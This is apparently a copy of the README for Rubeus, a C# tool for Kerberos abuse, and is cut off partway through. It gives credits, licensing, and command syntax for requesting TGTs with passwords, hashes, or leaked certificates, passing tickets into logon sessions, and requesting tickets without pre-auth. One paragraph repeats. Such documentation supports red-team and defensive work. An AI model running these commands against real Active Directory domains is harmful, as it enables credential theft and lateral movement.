ghostpack/rubeusTrying to tame the three-headed dog.
Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is heavily adapted from Benjamin Delpy's Kekeo project (CC BY-NC-SA 4.0 license) and Vincent LE TOUX's MakeMeEnterpriseAdmin project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
Charlie Clark and Ceri Coburn have both made significant contributions as co-developers to the Rubeus codebase. Elad Shamir contributed some essential work for resource-based constrained delegation. Their work is very appreciated!
Rubeus also uses a C# ASN.1 parsing/encoding library from Thomas Pornin named DDer that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!
PKINIT code heavily adapted from @SteveSyfuhs's Bruce tool. Bruce made RFC4556 (PKINIT) a lot easier to understand. Huge thanks to Steve!
NDR encoding and decoding for Kerberos PAC is based on the NtApiDotNet library from @tiraniddo, thank you James.
The KerberosRequestorSecurityToken.GetRequest method for Kerberoasting was contributed to PowerView (and then incorporated into Rubeus) by @machosec.
@harmj0y is the primary author of this code base.
Rubeus is licensed under the BSD 3-Clause license.
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v2.3.3
Ticket requests and renewals:
Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT based on a user password/hash, optionally saving to a file or applying to the current logon session or a specific LUID:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT based on a user password/hash, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT using a PCKS12 certificate, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a TGT using a certificate from the users keystore (Smartcard) specifying certificate thumbprint or subject, start a /netonly process, and to apply the ticket to the new process/logon session:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Retrieve a TGT suitable for changing an account with an expired password using the changepw command
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Request a TGT without sending pre-auth data:
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Request a service ticket using an AS-REQ:
Rubeus.exe asktgt /user:USER /service:SPN </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/oldsam] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Retrieve a service ticket for one or more SPNs, optionally saving or applying the ticket: